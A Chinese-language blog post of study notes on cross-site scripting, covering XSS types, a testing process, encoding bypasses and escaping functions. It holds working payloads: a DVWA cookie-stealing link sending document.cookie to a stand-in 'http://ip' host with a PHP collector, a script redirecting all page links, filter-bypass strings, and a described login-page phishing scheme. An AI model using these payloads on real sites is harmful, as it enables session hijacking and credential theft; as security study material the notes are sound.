WEB系列(二)-----------XSS

XSS原理及基础

定义

恶意攻击者会往Web页面里插入JS代码,当用户点击网页时.镶嵌的JS代码就会执行,从而达到恶意的特殊目的.

原因

程序对输入和输出的控制不够严格,导致payload输出到前段时被浏览器当做有效代码执行从而产生危害。

分类

  1. 存储型
  2. 反射型
  3. DOM型

测试流程

  1. 目标站点找到输入点,
  2. 输入一组特殊字符+唯一识别字符,点击提交后,查看源码。先看看网页对特殊字符做了哪些过滤。
  3. 通过搜索定位到唯一的字符,确认是否可以构造js的条件
  4. 提交构造的脚本代码,看是否可以成功执行
    tips
  5. 查询接口容易出现反射型XSS,留言板容易出现存储型XSS
  6. 绕过过滤机制

存储型XSS原理

攻击者在页面上插入XSS代码,服务端将数据存入数据库当用户访问到存在XSS漏洞的页面时,服务端从数据库中取出数据展示到页面上,导致XSS代码执行,达到攻击效果.

可能存在的位置:一切用户可以输入的位置

XSS盗取cookie

Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式.Cookie是由Web服务器保存在用户浏览器上的小文本文件.他可以包含有关用户信息.

  1. 存在反射型XSS漏洞的位置,可以利用以下链接来盗取Cookie(dvwa,xss low):
url?uname=<script>document.location='http://ip/cookie.php?cookie='+document.cookie</script>#

cookie.php
<?php  
$cookie = $_GET['cookie'];
file_put_contents("cookie.txt", $cookie);
echo "ok";
?>

在这里插入图片描述劫持会话后可以进一步利用漏洞,修改配置文件

XSS篡改网页链接

篡改链接

<script>
window.onload=function(){
var link = document.getElementsByTagName("a");
for(j=0;j<link.length;j++){
link[j].herf="http://ip";
}
}
</script>

apt-get install beef-xss

###XSS盗取用户信息
克隆网站登录页面,利用存储XSS设置跳转代码,如果用户访问即跳转到克隆网站的登录页面,用户输入登录,账号和密码被存储。

主要是用setookie,但是新版的Kali不能用。

探测XSS过程

  1. 构造一个不会被识别成恶意代码的字符串
  2. 查找该字符串的位置。
  3. 构造XSSpayload

属性中的XSS

xss事件
1.鼠标点击相应位置时,触发弹框。

onmouseover=alert(document.domain)>

选择列表的XSS

隐性参数XSS

SVG介绍

SVG意为可缩放矢量图形,使用XML格式定义图像。
可以通过,,,svg标签插入HTML文档。

<svg onload=····>

在这里插入图片描述注入点在一个被隐藏的位置,burp抓包后。
在这里插入图片描述

"><svg /onload=alert(document.domain)>%0a

HTML事件

  1. onlink:当鼠标点击时运行脚本。
  2. ondblclick:当双击鼠标运行脚本
  3. ondrag:当拖动元素时运行脚本
  4. ondragend:当拖动操作结束时运行脚本
  5. ondragenter:当元素被拖动至有效的拖放目标时运行脚本
  6. ondragleave:当元素离开有效拖放目标时运行脚本
  7. ondragover:当元素被拖放至有效目标上方时运行
  8. ondragstart:当拖动操作开始时运行脚本
  9. ondrop:当拖动元素正在被拖放时运行脚本
  10. onmousedown
  11. onmousemove
  12. onmouseout
  13. onmouseover
  14. onmouseup
  15. onmousewheel:当鼠标滚轮时运转
  16. onscroll

空格可以引发属性
在这里插入图片描述## JavaScript伪协议
javascript:js代码

javascript:alert('hello')

在这里插入图片描述伪协议XSS

"><a herf="javascript:alert(document.domain)">xss</a>

r经过·html编码
"><a href="java&#115;cript:alert(document.domain)">1</a>

在IE中``可以闭合一个双引号,双写绕过,html编码绕过,unicode编码绕过。

  1. htmlspecialchars():把预定义的字符转换为HTML实体。```&,<,>,',"`````
  2. strip_tags():剥去字符串中HTML,PHP,XML的标签,并不是转换。
  3. htmlentities()可以处理用户输入防止XSS
  4. JS编码:数字形式\u后面加4位16进制数字或\x2位16进制数字
  5. HTML编码:实体编码一般以"&“开头”;“结尾,进制编码通常以”&#“开头加上字符的数值,”;"结尾,字符的数值可以是任意十进制ascii码或者unicode字符编码,十六进制需要在编码前加’x’.@
  6. 进制编码:十进制编码,String.fromChareCode(97,86),十六进制编码(“\x87\x65”),unicode编码(“\u0012\u0045”).
  7. url编码:%+十六进制
    进行编码是为了绕过某些xss_filter

XSS绕过

https://owasp.org/www-community/xss-filter-evasion-cheatsheet

XSS发生的位置

  1. GET:如果在URL中提交的参数中能够在页面中显示,就可能会有XSS。
  2. POST
  3. JSON
  4. 自定义http头中

XSS工具

  1. xsser
  2. xsstrike
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值